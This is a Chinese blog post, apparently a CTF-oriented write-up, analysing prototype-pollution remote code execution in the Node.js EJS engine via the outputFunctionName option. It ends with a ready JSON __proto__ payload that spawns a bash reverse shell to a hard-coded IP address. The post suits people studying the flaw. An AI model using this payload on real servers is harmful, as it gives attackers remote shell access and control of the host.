[Web/Nodejs]原型链污染EJS模块的利用分析(附源码分析)

EJS _CVE-2019-10744(outputFunctionName)

在EJS引擎当中,存在一个属性opts.outputFunctionName

(注:影响该位置的源数据流实际上有很多个,这个属性利用条件相对宽松,只要有就能用)

读源码

ejs作为渲染引擎,包含一些代码执行的功能,帮助将执行结果回显到页面。

【以下代码为exports.render-----调用----->handleCache

首先调用了render的话(在我们做题时可以看到的表层函数)请添加图片描述
render调用的handleCache中跟进调用了compile(记住,关键点)
请添加图片描述
【以下代码包含在ejscompile函数中】

// 输出解析后的html字符串
语法:ejs.compile(str,options);
参数参数说明
str这个是用来渲染的数据展示区域
opstions这是个额外的参数配置,可以省略,详见后面

请添加图片描述请添加图片描述
恰巧this.source是拼接而成的,在包含opts.outputFunctionName时会将其包含在内,动态拼接一个js语句字符串,这是十分危险的,因为在后续步骤中,会利用this.src构造可调用函数。
请添加图片描述请添加图片描述
因此操纵opts.outputFunctionName即可构造预期函数,实现RCE。

如下图,compile在此处会被调用并作为返回值返回,导致渲染变为代码执行。
请添加图片描述
也就是说,我们对{}原型进行污染添加opts.outputFunctionName属性(主要为了污染opts)下的恶意代码,就能利用渲染函数render的调用链,转为代码执行。

Payload

由源码知,

this.source = prepended + this.source + appended;
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

构造合适的opts.outputFunctionName,

a=2333;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2

整理为

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值